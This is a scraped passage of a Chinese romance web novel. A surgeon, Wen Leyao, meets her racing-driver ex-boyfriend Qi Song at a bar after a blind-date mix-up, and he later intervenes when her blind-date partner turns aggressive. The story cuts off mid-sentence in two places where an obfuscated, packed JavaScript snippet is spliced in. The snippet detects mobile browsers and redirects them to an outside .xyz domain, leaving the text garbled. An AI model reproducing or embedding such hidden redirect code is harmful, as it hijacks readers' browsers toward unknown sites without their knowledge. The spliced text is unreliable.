空气中浮动着幽淡的香。 环境很好,品味也很好。 谢柔活力足,在这里坐不住。 “宝贝,我先去健身房看一眼,”她指了指隔壁房间,“器械不错。” 温乐遥抿了一口柠檬水,呼吸里都是清香: “早点回来,别错过相亲男的第一面。” “放心,咱俩早来了20分钟,我很快就过来~”谢柔将大波浪拨到肩后,笑得迷人,风情万种。 温乐遥坐在沙发上,手里捏着一张A4纸,纤细手指泛着莹润光泽。 为方便她和谢柔临时切换身份,她来之前做了细致的规划。 最重要的一点,就是名字。 柔白光晕洒下,她垂眸记录着,侧颜精致,莹白脖颈低着,整个人像是浸润在无边月色中。 不远处的包厢门密码锁开启。 这才不到五分钟,温乐遥轻笑着从沙发上起身,准备过去和谢柔再对一遍流程。 “回来了?”她的声音温和轻柔,眼神快速在A4纸上掠了最后一遍,眉眼弯弯, “我刚才把流程改完了。等见面我就说:你好,我叫——” 温乐遥说着,缓缓抬眸,视线在稿子上移到门口方向。 笑容凝固在唇角。 剩下的那句话戛然而止。 眼前的男人穿着一身深蓝色赛车服,防风外套敞开,合体剪裁定制更显得肩宽腿长。 祁颂出了汗,碎发凌乱。 他深邃眸子眯起,哪怕臭着脸也帅得让人心乱。 被前男友冷淡注视着,温乐遥僵在原地,大脑一片空白。 完了,演不了了。 4. 文学城独发 04 晋江文学城 长久的沉默。 祁颂淡漠盯着她,没什么表情。他的眼眸漆黑如点墨,看向她时浓稠,晦暗,带着化不开的阴郁。 汗水顺着他的发梢滴落在他锁骨上,衣襟湿了一片。 显然,他刚训练完不久。 在这已经进入秋天的宿宁市里,他依旧燥热得要命。 她仰着脸看他,嘴唇红润,杏眼勾人得翘。 和在医院的状态不一样,她今天很放松,刚才说话时唇角含笑,嗓音柔和,像一朵娇嫩的茉莉花。 但是,看见他的一瞬间就收起了笑容。 想到这里,祁颂脸色更冷。 温乐遥的脚像是被钉在原地,心虚地将那张稿子藏在身后。 她大脑生锈一样转动,吱吱呀呀。 满脑子里都是曾经相处的碎片记忆,刻意掩埋的回忆,被一瞬间激起。 最后,到底是她先移开了视线,垂眸盯着地面。 她实在受不了祁颂冰凉的眼神,赛车届的“冷脸帅哥”,名不虚传。 随着走廊灯光均匀洒进来,房门再次被推开。 浓郁的男士香水气息顺势传入房间。 “嗨,美女,来这么早啊。”杨屹然笑得吊儿郎当,丝滑地从祁颂身后绕过来,准备和她握手, “我是你的相亲对象,我叫杨——” “相亲?”祁颂眉心微蹙,摁住他蠢蠢欲动的手。 杨屹然转头看他:“哥,我之前不跟你说了吗?我小姨给我介绍的那个……” 他的视线随着话语逐渐转到面前一袭白裙的温乐遥。 原本还在因尴尬而低着头的她,茫然抬头。 怎么回事? 谢柔的相亲对象不是祁颂? 是……杨屹然? 话音未落,在昏暗灯光下,杨屹然就看清了她的脸。 “我靠!嫂子?”他吓得一嗓子喊出来。 察觉到身旁祁颂绷紧的肌肉,以及越来越低沉的气息。 杨屹然果断改口:“啊不…前嫂子?!” 他自知说错了话,打着哈哈夸赞:“你越来越漂亮了啊,真是出水芙蓉!” 温乐遥绽开一个清浅的笑:“谢谢。” 又是一阵尴尬。 杨屹然是在高二的时候从宿宁转学去的美国。据温乐遥所知,这俩人是发小,上学时,杨屹然每年都会来找祁颂。 想不到毕业后,他们关系依旧。 随着一阵急促的高跟鞋敲打地面声,身形高挑的谢柔冲进来:“怎么了怎么了?宝贝!” “我在隔壁都听见动静……了。” 说到最后一个字时,谢柔明显愣住,几乎是脱口而出, “祁颂?你怎么在这儿?!” “你不会是——” 男人慢条斯理开口,嗓音低沉淡漠:“我来陪他相亲。” “不不不……我没相啊!”杨屹然脑袋摇得像拨浪鼓, “我可不敢相嫂子。” “啊,前嫂子。” 见到相亲对象是熟人,糊弄不了,谢柔没好气说出实话: “遥遥也是陪我来相亲的。” “你,”谢柔嫌弃地歪头看着杨屹然, “就是我的相亲对象?” 杨屹然也歪头看着她,拉长音调:“你就是Rosie?” “我说谢柔,你连个中文名都不留,我还以为你老外呢。” “不好意思,我在外企工作,平常大家都这么叫我。” 杨屹然拍着胸脯放出豪言壮语:“去个外企就忘本了?我杨屹然,出国十多年,但一心报效祖国。行不更名坐不改姓,堂堂华夏男儿杨少在此!” 谢柔被他身上浓郁的香气熏得鼻子痒:“啊嚏——” “我对这款香水过敏,记得换一下。” “哦,好……” “哎不是,你凭什么让我换香水啊?” 谢柔微微一笑:“你的气质和我的助理有点像,抱歉,认错了。” “哎嘿!我丢……” “哥,你说这气人不?”杨屹然气得像以前一样找祁颂告状。 他在出国留学前和谢柔只是认识,并没有什么交集。 后来闹了点乌龙,两人就此结下梁子。 直到现在,都针尖对麦芒。 这边他和谢柔吵得热火朝天,那边两人尴尬沉默。 眼见着祁颂和温乐遥之间的气氛比他们之间还僵。 杨屹然摆手,主动缓解降至冰点的氛围:“算了,来都来了,坐下喝两杯?” 祁颂和温乐遥异口同声: “不了,我还有事。” “不了,我还有事。” “……” 杨屹然一手扯住一个,大大咧咧往沙发的方向扯:“走什么呀?” “都是老熟人了,今儿不相亲,老友相聚哈。” “自己的店,随便喝。” 谢柔把他拨开,揽住温乐遥的盈盈纤腰,“你能有这么好的装修品味?” “ber兄弟,你怎么还人身攻击呢?”杨屹然炸毛。 “不过——” “确实不是我整的装修,哥画的装修草图,”杨屹然指了指祁颂,一脸乖巧,“我哥是大股东,我也得听他的。” 说罢,杨少招手让他们坐在两侧沙发:“都坐都坐,我让弟兄上点新调的酒。” 清秀的服务生小哥端着托盘进来,黑金色玻璃茶几上摆满了各种各样的鸡尾酒。 杨屹然阔气地摆手一挥。 温乐遥礼貌谢绝:“我开车,就不喝酒了。” “那就再来点自调的饮料。”杨屹然抬手嘱咐小哥。 祁颂也淡声道:“我晚上要训练。失陪。” 很明显,后面这句礼貌又客气的话是和她们说的。 “别走啊,哥,你前两天受伤,今天又训练出一身汗,人家大夫不嘱咐你了嘛,得注意休养。” “哎,说到大夫,嫂子不就是……” 接收到祁颂锋利的眼神,杨屹然拍了一下大腿,懊悔自己又说错了称呼,赶紧修正, “咳咳,那啥,乐遥不就是大夫嘛。” 说完,杨屹然灵魂发问:“在哪家医院来着?” “……” “宿宁市人民医院。” “对对对,咱全市最好的医院,”杨屹然努力活跃气氛,“大学霸!我敬你一杯。” 温乐遥弯起眼眸,以果味气泡饮代酒,和他干了一杯。 黑胶唱机流淌着充满灵性的自由爵士,终于让气氛不再僵硬尴尬,杨屹然突然好奇: “哎,说起来,也不知道咱们高中同学现在都在做什么?” “?” 谢柔喜爱品酒,摇晃着细长柄的马天尼杯,红唇扬起弧度,“我们三个是正儿八经高中同学,你,勉强算半个。” “嘿,我说谢柔,你能不能别挑我刺儿?” “就算爱而不得,也不能毁掉吧?” 黑历史被提及,谢柔一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920459|177047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个抱枕飞过去:“我爱你大爷!” 两人和以前一样聒噪。 温乐遥透过落地玻璃看着小阳台外的热闹景象。 已经七点多了,昏暗灯光下,来酒吧的人越来越多,他们肆意笑闹,在酒精的作用下,展示出最真实的自我。 酒过三巡。 杨屹然和谢柔互呛着玩起了酒桌骰子游戏,杨大少爷险败谢大小姐,嚷嚷着要打开电视,用手柄玩switch游戏一决高下。 这间包厢里应有尽有。 杨屹然骄傲地说:“这是我和哥的秘密基地。” 要不是那天发短信定相亲地点时,他喝多说错了包厢名,也不会有今天的聚会。 他才舍不得让陌生女人进来这里。 不过—— 还好都是熟人。 宽敞包厢里吵吵闹闹,温乐遥没喝酒,清醒得很。 她的视线不自觉飘到祁颂身上。 他有一种神秘的魔力,只是漫不经心坐在那儿,都惹人注目。 祁颂身形和气质都很优越。 他仰靠在沙发上,距离茶几近,长腿只能交叠支在地毯上,透着慵懒。 男人随意转了转中指的戒指。祁颂的手很漂亮,手背青筋脉络清晰,手指修长均匀,关节处还透着粉色,力量感和美感兼具。 温乐遥不敢看他的眼睛,盯着男人的手看了一会儿,陷入短暂的胡思乱想中。 回想起他这些年为国比赛,遇到各种突发事件时,成熟的处理方式和表达能力。 难怪祁颂有这么多粉丝。 他从脸到身材,从赛车技术到情商,都足以让人沉迷。 她也会情不自禁沉沦。 直到祁颂懒意洋洋撩起眼皮,突然看向她。 双目对视,温乐遥察觉到他的视线,像是被人戳破心思,惊得忽然起身。 “?” 喝嗨了正在比拼游戏的另外两个,也注意到她的动静。 “宝贝,干嘛去呢?”谢柔坐在电视机前的沙发上,握着手柄,转头问她。 “我……我出去透透气。” 在他们疑惑的眼神中,温乐遥以出去透气为借口,几乎落荒而逃。 温乐遥平复慌乱的心跳,在走廊里走了一圈又一圈。 下一秒,却在转角看见熟悉的瘦高身影。 她下意识避开,反身就要逃。 男人慢悠悠挡在她身前,高大身形掩在光影之中,嗓音低沉: “怎么,不认得我了?” “……嗯。”温乐遥不知怎么回答。她今天似乎确实没有和他搭一句话,也刻意避开了眼神对视。 所以声音里都带着心虚。 祁颂的脸色沉如水,偏偏还挂着几分凉薄的笑。 “那就重新认识。” “老子祁颂,谈过一个女朋友,甩掉我跑了,”男人俯身逼近,唇角的笑意有些冷, “…她叫温乐遥。” 他温热的呼吸缠绕在她鼻尖。 清香,甘洌。 曾经那个眼眶通红,呼吸都在抖的少年模样,此刻再次浮现在她眼前。 意气风发的他,从未有过那样的挫败。在那个冰冷的阴雨天,满身骄傲都被折碎。 温乐遥记得,他低垂着眼睫坐在台阶上,修长手指勾住,紧攥她的手腕,肌肉绷紧微微颤抖。 呼吸不断起伏后。 少年抬起湿漉漉的眼眸,很轻地扯起一抹破碎的笑: “宝宝,你不要我了吗?” 5. 文学城独发 05 晋江文学城 走廊的窗开得很大,思绪被秋夜的冷风拉扯着,在某个时间节点戛然而止。 骄傲如祁颂,有过那样卑微的过去,心里肯定不爽。 那么,他现在的主动出击,是希望她…… 承认错误?真心悔过? 温乐遥怔愣片刻后,恢复了往常的沉静。 她点头,声音轻软: “你好,我就是温乐遥。” “?” 祁颂的冷笑僵在唇角,眼神里的一点戏谑也逐渐消退。 他这人,吊儿郎当逗弄别人的时候,说明心情不错。一旦正儿八经没了笑意,眼神冰冷,就有人要倒霉了。 温乐遥深吸一口气,诚恳道歉:“很抱歉曾经甩了你。” “?” “我错了,对不起。”她微微低头。 “?” 这一套丝滑小连招,把祁颂都整不会了。 走廊里时不时有人路过,对他们投来好奇的眼神。 “啊!颂哥回来啦!” 清秀的服务生小哥热络地和祁颂打招呼,想要八卦最近的赛车队招新计划。但见他脸色不好,识趣闭嘴离开。 她记得他在采访时说的“抛弃,绝不原谅”,她也不奢求他原谅,只希望能弥补一点他心里的创伤。 温乐遥态度诚恳,完全没有和他开玩笑的意思。 但祁颂却一副被她戏耍的模样,隐忍着怒意,眼眸越来越凉,盯着她足有半分钟,才露出一抹冷笑。 “不够。”他撇下这么两个字,利落转身,大步流星走回房间。 望着男人的太平洋宽肩,以及比例优越的大长腿,这好身材哪怕在走廊里都像是走秀。 真是记仇啊。 温乐遥心凉了一半。 她鼓了鼓脸颊,看向手机屏幕。已经八点多,该去见这次的相亲对象了。 温乐遥平复呼吸,调整情绪准备离开这里。 祁颂现在那么讨厌她。 与其让他生气,还不如都开心一点。 不见面就是最好的办法。 正准备推开虚掩着的包厢门,温乐遥抬眸,看到门口牌子上“浮光掠影”这四个烫金字,被风吹过,晃出不同的光晕。 这四个字是行楷,落笔还带了点草书的风韵。 温乐遥愣了愣,感觉有些眼熟。 像祁颂的笔迹。 “美女,你也觉得很漂亮吧?” “这个门牌儿是颂哥亲自写的毛笔字。” 见她对着门牌出神,清秀的服务生小哥端着托盘走到温乐遥身旁,自豪地扬起下巴。 果然。 祁颂聪明,身体素质好,又从小接受精英教育,不仅知识储备比同龄人丰富,一手好字更是如行云流水般飘逸。 温乐遥在心里画了个对勾。 心里压着事儿,她眉眼并没有舒展,只是礼貌一笑:“嗯,很漂亮。” “美女,你和颂哥认识吧?” “嗯。” “我看你们刚才在那边聊天来着。”见她面带愁色,清秀小哥打开了话匣子,“感觉你们都不太开心呢……” “美女,你不会是跟他表白了吧?” “嗯……” 温乐遥睁大眼眸,“嗯?” “你别介意啊,我哥就那样,”见她一脸震惊,小哥坐实了自己的猜测,赶紧摆摆手, “这些年跟他表白的女生几十个都有了,像你这样漂亮的也有不少,他每次都是眼都不眨地拒绝。” “声明!颂哥没有摆臭脸,他啊——” 说到后半句,服务生小哥还凑近她,压低声音, “可能是不喜欢女的。” “所以才拒绝和你接触的。” “……” 温乐遥眉心一跳,点点头以作认可。 忽然想起他中指的戒指,以及那个订婚传闻,她转头问道:“祁颂不是要订婚了吗?” “谁?颂哥订婚吗?” “这比我奶会打篮球还离谱,”服务生小哥先是睁大双眼,然后笑起来, “他们队是和尚队,他身边连个妹子的影儿都没有。” 温乐遥若有所思,应和了一声。 见她不再愁容满面,服务生小哥很满意她现在的状态,端着托盘飘飘然离开。 很好,这个世界又少了一个心碎的人。 又拯救一个,Yes! 难道祁颂被她甩了后,受情伤的刺激了? 突然接收到这么大的信息量,温乐遥站在原地愣了好一会儿,才推开厚重的房门。 这里隔音很好,走进包厢,温乐遥才听到谢柔和杨屹然的吵闹声。 谢柔的酒量很好,玩游戏也在行,杨大少爷根本不是她的对手。 一场游戏下来,他手忙脚乱,嗓子最累。 祁颂懒洋洋靠在沙发上,一直在喝纯净水。 他倒是把医嘱听进去了,养伤期间,连刺激性气泡饮料都没喝。 包厢里的灯光渐暗。 谢柔和杨屹然那边热闹活跃,这里冷冷清清。 光影落在祁颂脸上,他低眸转着银色戒指,衬着男人深邃眉眼,周身气息竟显得有些落寞。 温乐遥心一软,不忍心看他孤单一人。 她犹豫着要不要拿饮料敬他一杯,就对上了祁颂凉凉的视线。 和他对视三秒后,温乐遥果断放弃。 算了,她不敢。 转身,温乐遥径直走到谢柔身旁,俯身温声道: “肉肉,我要去相亲了,你在这儿等着,我速战速决,很快就回来接你。” “好~宝贝棒棒!”谢柔正是打游戏上头的时刻,举着手柄冲她笑。 “相亲?!”杨屹然惊得差点跳起来。 谢柔被他喊得脑壳疼:“相亲怎么了,能别大惊小怪的吗?这位哥。” 杨少点头:“也对,咱俩都能相亲,还有什么不可能的呢。” 谢柔轻嗤:“谁家好人在酒吧相亲啊。” 杨屹然指着电视屏幕,义愤填膺:“谁家好人相亲打游戏,还摁着对方胖揍啊!” 这俩人刚消停几分钟,又开始吵了起来。 温乐遥莞尔,准备去沙发拿手提包。 或许是刚才杨屹然那一嗓子喊得太惊天动地,祁颂也朝这边看了过来。 男人和她隔着沙发遥遥相望。 他仰靠着,清瘦腕骨搭在沙发靠背上。漫不经心掀起眼皮,右眼角的泪痣多添了几分妖孽,随意的回眸都足够撩人。 温乐遥脚步顿了下,想要和他打声招呼,却又不知道该说些什么。 祁颂很快收回了视线。轻描淡写,似乎在她身上停留只是偶然。 不管做什么,他一向游刃有余。 除了,那段失败的感情。 - 直到温乐遥在电梯口站定,身后传来脚步声。 她回头,看见祁颂逆着光朝自己走来。 他个子高腿也长,步伐很大,防风外套搭在肩上,身材、比例和脸都无一挑剔。 温乐遥没想到他竟然会跟出来。 一时间心跳骤快。 祁颂是典型的外冷内热的性格,为人处事周到。他现在讨厌她,还要强迫自己来送她吗? 真是个好人。 伴随着“叮”的一声,电梯门缓缓打开。 想到这里,温乐遥率先跨进去,车停在街边,她按亮一楼的按钮,冲他摆摆手微笑: “你不用送我,我开车了。” “……?”祁颂凝固了一瞬,走到电梯里。 站定,按亮三楼的按钮。 温乐遥看着三楼按钮旁边醒目的【餐厅、活动室】标识,才意识到祁颂要去别的地方。 “……” 温乐遥白嫩的脸颊瞬间烧起红晕,一直蔓延到耳后。 还有人比她现在更尴尬吗。 伴随着电梯里轻柔的小提琴乐曲,电梯下降到了三楼。 临出门前,男人垂眸,礼貌不失风度,却又意味不明祝贺她一句: “相亲顺利。” 这人怎么看她笑话还调侃! 温乐遥红着脸,咬牙回应:“……谢谢。” 餐厅。 这家餐厅属于“浮光”酒吧的拓展业务,装修风格相较楼下,更为柔和典雅,再搭配全景落地窗,不少VIP客户都会选择直接来楼上就餐。 现在正是人多的时候,几个小皮猴子坐在靠近前台的位置,嘻嘻哈哈和服务生聊着天。 “漂亮的医生姐姐……” 说话温吞的慢性子张临重复了一遍这个名字。 “对!阿临前天不是陪老大去医院拿药了吗?”Jump晃着满脑袋的脏辫,激动地几乎要来一段街舞, “就是那家医院的外科大夫!” “你没看见漂亮姐姐,真是太可惜了。” “……哦。”张临思考着点了点头。 好像也不怎么可惜。 因为他确实看到了一个漂亮姐姐,老大还让自己给她送伞,结果没送成。 估计这位就是他们说的美女医生。 脏辫Jump许腾跃:“你们是不知道,那医生姐姐多漂亮!” 亮橘色头发的程子帅:“肤白貌美大长腿,我亲眼看着,老大脸色都变了,还搁那儿装淡定呢。” “老大把你俩赶出去之后,就没和医生姐姐多聊几句?”张临好奇。 但抬眼间,一个瘦高的身影已经来到了他们桌旁边。 男人身上的气压很低,唇角浸着几分笑意,却让人胆寒。 张临脸色一白,赶紧给侃侃而谈的Jump和橙子使眼色。 显然,和张临同样视角的服务生小哥也看到了祁颂,低下头,轻咳几声提醒。 无奈这俩皮猴子太激动,餐厅里又有音乐声,他们并没注意到。 “不知道啊,好像包扎完就出来了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920460|177047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧。” “联系方式都没要。” “这么好的单独相处的机会,可以和美女搭讪,老大就这么放弃了。” “哎,颂哥这清心寡欲的,换作是我——” 两个人仍旧一唱一和,丝毫没有意识到气氛不对。 祁颂唇角勾起,俯身靠近这俩人,声音凉凉的: “换作是你,怎样?” “啊啊啊啊!!”两人吓得尖叫出声,被祁颂一手一个捂住嘴,瞪了一眼才老实。 “老大,你你你什么时候来的?” “老大,屹然哥不是约你今晚叙旧吗?你怎么还有空过来调.教我们?” 张临耐心纠正:“橙子,是管教。” “我不来,怎么能看你们表演呢?”祁颂揶揄着扯了扯唇角,抛下一句话转身离开, “五分钟内吃完,上楼加练。” 皮猴子们:(QaQ)救命啊—— - 晚上9:26,云涧茶隐。 相亲地点是温乐遥定的。这家茶楼坐落在宿宁市区边上一角。青瓦飞檐的仿宋式建筑,黑底金漆匾额,中式风格显贵却不露富,雅奢到极致。 在古色古香的小茶楼里走出来时,温乐遥只喝水都喝饱了。 相亲对象非要请客,却只舍得点一壶清茶。 她嘴唇被茶水浸润得潋滟,一袭素白柔光缎面长裙,没有繁杂的配饰,更显得眉眼如画,让人移不开眼睛。 茶楼门口的侍应生视线紧随着她,一时出了神。 穿着行政夹克的男人走在温乐遥身前。身边有这么个大美女,他走在路上都颇有面子。 茶楼门口的大片区域是停车场。 林先生挺起胸膛,习惯性扶了扶细框眼镜,扬起笑脸: “今天我对温小姐很满意啊。” “这次的联谊活动不错,以后再接再厉,当然,这件事还要征求你的意见。我们本着严肃认真的态度,是否可以在下周也继续开展这样的活动?” “……”温乐遥有不少同学也在体制内工作,可她从没见过年纪轻轻就这样说话的。 面前的男人不过30岁的年纪,却爹味十足。 整场相亲,他一直在侃侃而谈区域规划和发展建设,中间穿插着对温乐遥容貌的赞许,以及对她婚后相夫教子的期望。 温乐遥全程保持客气,终于在他说累了的间隙,提出“天色不早,要回家了”。 此刻,她微微一笑,后退拉开距离:“很高兴认识你,林先生。” “我们不合适,再见。” 礼貌果断,干脆利落。 温乐遥转身准备去开车,林先生伸手想要拉住她: “哎——怎么就不合适了?” 她步伐轻盈,白裙浸在朦胧月色里,愈发温柔,却又走得坚定。 男人脸色阴沉下来,快步走上前,想要用力攥住她的胳膊:“今天花这么多钱请你喝茶,你跟老子说清楚!” “?” 只是他还没碰着,就被突然出现的高个子男人死死钳住了手腕。 祁颂挡在他和温乐遥之间,没什么情绪起伏。 覆着青筋的大掌稍一用力,就让这位林先生疼得龇牙咧嘴,再没了刚才的气势。 “祁颂?”温乐遥侧身,看向从夜色中走出来,帮她摁住了相亲对象的他, “你怎么在这儿?” 祁颂瞟她一眼,神色懒淡,漫不经心把相亲男的手挥到边上。 他摊开另一只手的掌心,里面安安静静躺着一枚水滴形的钻石耳坠。 温乐遥心里一紧,抬手摸上,才发觉自己右耳的耳坠没了。 估计是在酒吧包厢里的时候松掉的。 她眼眸亮亮的,呼了一口气,如视珍宝接过来:“谢谢。” “其实没关系的,我等下还要回去接肉肉。” 这是她上大学时勤工俭学,自己送给自己的第一个礼物。 她很喜欢。 温乐遥一直妥善保存着,打扮时才戴。 祁颂知道,这耳坠对她意义非凡。 见她并没有很激动,反而第一时间想好了退路:没关系,回去接谢柔的时候可以拿着。 祁颂眼神冰凉,冷淡语气里也有些咬牙切齿的意味: “我还以为你弄丢了心爱的东西,会着急。” 心爱的东西? 比如——祁颂吗? “……”温乐遥瞬间明白他话里的深意,摆手想要解释, “我不是这个意思。” 一旁瘦弱的林先生揉着手腕,表情痛苦地凑上来:“温小姐,这位是?” “呃,”这人怎么还没走? 温乐遥不动声色离他远了点,“这是我的——” 祁颂顺势迈了一步,很自然地将她挡在身后,居高临下俯视着她的相亲对象。 他深邃的眉眼在月色中清晰,低沉嗓音含着细碎的笑意: “祁颂,前男友。” 6. 文学城独发 06 晋江文学城 这话一出,在场的人都开始不自在了。 包括在茶楼门口支棱着耳朵听他们聊天的侍应生。 祁颂187,比她相亲对象高了15公分,就算在人群中都是耀眼的存在,更何况像现在这样,俯视着面前的男人。 即使他语气平和,只带了点小骄傲的得意,瘦弱的林先生也迫于威压后退半步,气急败坏道: “你……你是故意来搅局的吧!” 祁颂眼睛眯起,似笑非笑:“搅局算不上。” “助人为乐而已。” “你!” 林先生愤怒转身,看向比较好欺负的温乐遥,咬牙切齿:“温小姐,我今天花了这么多钱,费用该报销一下吧?” “那壶茶328元,茶位费40元,停车费12元,你看着给吧!” 温乐遥无语,翻了个白眼。 这么在意,还不如一开始就不请客。 她打开微信准备扫码给他。 祁颂抬手招了招,门口的侍应生快步走过来。 他神色懒倦,语气云淡风轻:“把钱退给他,记我卡上。” “好的,祁先生。” “?”没想到祁颂还能这样解决,相亲对象更气恼了。 侍应生对着传呼机下达指令,不到半分钟,钱就退回原路。 “还有问题吗?” 林先生涨红了脸,又羞又恼:“有钱了不起吗?算你牛逼!” 钱到账后,他气哼哼地开车离开了这里。 温乐遥握着手机缓了缓,猜测祁颂应该有这里的会员卡。今天如果他没来,那男人恼羞成怒后,可能真的比较难缠。 祁颂帮她解决了一个麻烦。 想到这里,她真诚道:“谢谢啊,我把茶钱转给你。” 祁颂沉默一瞬后,哼笑:“你怎么给?” “我的微信可比这值钱多了。” 分手后,温乐遥删除了祁颂,他重新申请过,却都被她忽略掉。 现在,好友申请早就过期了。 一想到她现在也要请求加他好友,祁颂就暗爽。 温乐遥,你也有今天。 可她只是翻了翻好友列表后,就果断说出五个字: “我扫码付款。” “……”祁颂的脸色瞬间沉下来,他硬邦邦抛下一句话,转身离开, “不需要。” 温乐遥的长裙有些不方便,吃力迈着小碎步跟上他,嗓音软软的:“祁颂,我不想欠你的。” 男人大步流星往前走,余光瞥见小声喘气的她,压着火放慢脚步。 他侧身,一字一顿:“温乐遥,你欠我的还少吗?” “……” 她哑口无言。 - 开车回到“浮光酒吧”时,谢柔已经在门口笑容满面等着她了。 杨屹然吊儿郎当蹲在一边抽着烟,满脸不可置信。杨大少爷还在思考,自己为什么一局游戏都没赢。 温乐遥在路边超市换了零钱。 她下车把用纸包好的茶钱递给杨少,温声细语嘱咐他:“杨屹然,麻烦你把这些钱给祁颂,谢谢。” “嗯?”见她靠近,杨屹然立正站好,手背到身后,顺势灭了烟, “不是嫂子,啊……乐遥,你给我哥钱干嘛?” 温乐遥不喜欢烟味。 恋爱时,祁颂为了她把烟戒了,还警告杨屹然,嫂子在的时候不许抽烟。 刻在骨子里的记忆,连他都成了本能反应。 更别提祁颂。 温乐遥把钱放在他手里:“他帮我垫付的,我还他人情。” “啊?”杨屹然一脸懵逼地看向自己手心,方方正正的纸叠着钱,上面写着两个清秀的小字:谢谢。 - 车上。 谢柔像个好奇宝宝,满肚子的疑问。温乐遥只能把今晚相亲的故事讲了一遍。 “你这相亲对象真是个奇葩。” 谢柔把长发拢起来,扎了个酷飒的高马尾,“不过这么一对比,祁颂显得很正常哎。” “是啊,” 温乐遥点头,“那男的挺难缠的,还想拽住我,不让我走。今天多亏了他。” “本来我还想跟你去体验一下真正的相亲呢。” “结果你一走,祁颂问完我相亲地点,紧跟着走了,”谢柔今晚喝了不少,微醺着回忆一小时前发生的事情, “我以为你俩得叙叙旧,就没过去。” 温乐遥恍然大悟:“难怪他知道我在那间茶楼。” 提到这里,谢柔一拍大腿笑起来:“祁颂也挺逗,捡到耳环了,在电梯里不给你,还故作高冷去餐厅。非得等你相完亲在茶楼门口给你,这不是多此一举嘛……” 捋顺了这个逻辑后,谢柔的笑声戛然而止。 分明可以早点给遥遥的,为什么偏要等到她相完亲才给? 难道,祁颂是想要和她多见一面? “——不对。” “遥遥,他还在喜欢你吧。” “不可能,”想起他冰凉的眼神,毒舌的话语,温乐遥笃定道,“我见过他喜欢我的模样。” “他现在很讨厌我。” “说不通啊,那他为什么非得等你相亲完过去找你?”谢柔百思不得其解。 “可能……他正好路过吧。” “他们的训练基地和茶楼不就在一个区嘛。”温乐遥想通了这个逻辑。 宿宁市较偏的盛源区,相当于经济开发区。 人少,产业多,经济发达。 谢柔恍然大悟:“哦~可是我总觉得哪里怪怪的呢。” 红灯亮起,温乐遥稳稳停下,蹙起眉心:“相比祁颂是怎么想的,我现在更担心我爸妈会知道这件事。” “什么?”谢柔愣了下,忽然想起温乐遥的老式父母,发出呼喊, “我靠!前男友!!这事可不能让叔叔阿姨知道!!” 作为父母老师同学眼里的乖乖女,温乐遥循规蹈矩,听话懂事,和肆意妄为的祁颂完全是两个极端。 高中暗恋祁颂的事情她瞒过了所有人。 大学和祁颂恋爱的事情她也没敢告诉父母。 直到现在,爸妈都不知道乖女儿在大学谈过一段轰轰烈烈的恋爱。 而且祁颂对着她相亲对象自我介绍时,语气里的戏谑都不像是前男友,反而像是正牌男友。 那位破防的林先生,很有可能把今晚的事情讲给媒人,以此告状。 温乐遥和谢柔嘀嘀咕咕商量了一路子,最终才得出应对方案。 “就说祁颂是你一个同事,平常爱开玩笑,看见相亲对象对你无礼,想替你出气,才说是前男友。” 温乐遥有些拿不准:“这样能行吗?我爸妈真的会信吗……” “你长着这么乖的一张脸,谁听了谁都会信的!宝贝,”谢柔双手握拳给她加油打气, “到时候别脸红啊,你一说假话就脸红。” 就这么紧张了几天,温乐遥每次和父母开视频打电话时,都会提前演练一遍自己要怎么应答。 结果他们只是说了句:可惜没缘分。 甚至没有让她继续和这位“青年才俊”继续接触一下。 看来林先生并没有把她前男友的事情说出去。 还好。 安稳过了一段时间,谢柔再次外派出国,温乐遥的生活也回归原本的两点一线。 外科大夫辛苦,但她每一台手术都兢兢业业,会诊记录做得好,平常也不像其他同事那样喊苦喊累。 有了国庆节前,她接受采访救场的那件事,领导们也都注意到了这个漂亮的新人。 自从和祁颂重逢相遇几次后,温乐遥再也没见到过他。 偶尔听同事们聊起CN溯风车队的近况,哪怕知道她和他都在宿宁市,但生活轨迹毫无重合,仿佛和她隔着一个世界。 十月中旬,秋老虎退隐,天气越来越冷。 陈兴抱了一箱温热的奶茶,踹开门哼哧哼哧跑进来: “快!来个人帮我搭把手!” 温乐遥刚写汇报完会诊记录,还没放下手里的笔记本,就下意识过去帮忙。 “不不不,遥遥你抬不动……嗯?”陈兴目瞪口呆看着温乐遥纤瘦的身形,竟然能抱得动这么大的箱子, “你劲儿这么大?!” 陈兴打量着,伸手捏了捏温乐遥的胳膊。 嚯! 还有肌肉呢。 “去,别对我们遥遥动手动脚。”女同事一巴掌拍开他。另一个女同事骄傲地介绍:“我们小温可是有国际认证的急救员证书。这是在咱们外科,要是去了急诊,也得是个好苗子。” 男同事们相继过来,帮温乐遥抱走那箱奶茶,挨个儿给大家发放。 “我去!遥遥你真是个宝藏,”陈兴甩了甩累酸的胳膊,忽然想起, “哎,我听说咱们医院刚开设了医疗援助的公益项目。” “好像得有什么证件才行。” 陈兴是八卦大王,偌大的医院,就算是犄角旮旯的小道消息,他都能打听到。 “我跟你们说,就因为这个医疗援助好像要喊电视台来拍纪录片,宣传部的那女的,卯足了劲儿想要申请这个项目。结果大领导一句:你没有医师资格证,怼回去了。” 说完,他痛快地大笑两声。 大家嘻嘻哈哈和陈兴逗趣一番,就见他晃了晃奶茶:“咱们科的经费还剩561块8,大家在小荷包里都能看到,我可一分没贪啊!” 又是一阵哄笑。有陈兴这个活宝,工作时也不那么枯燥了。 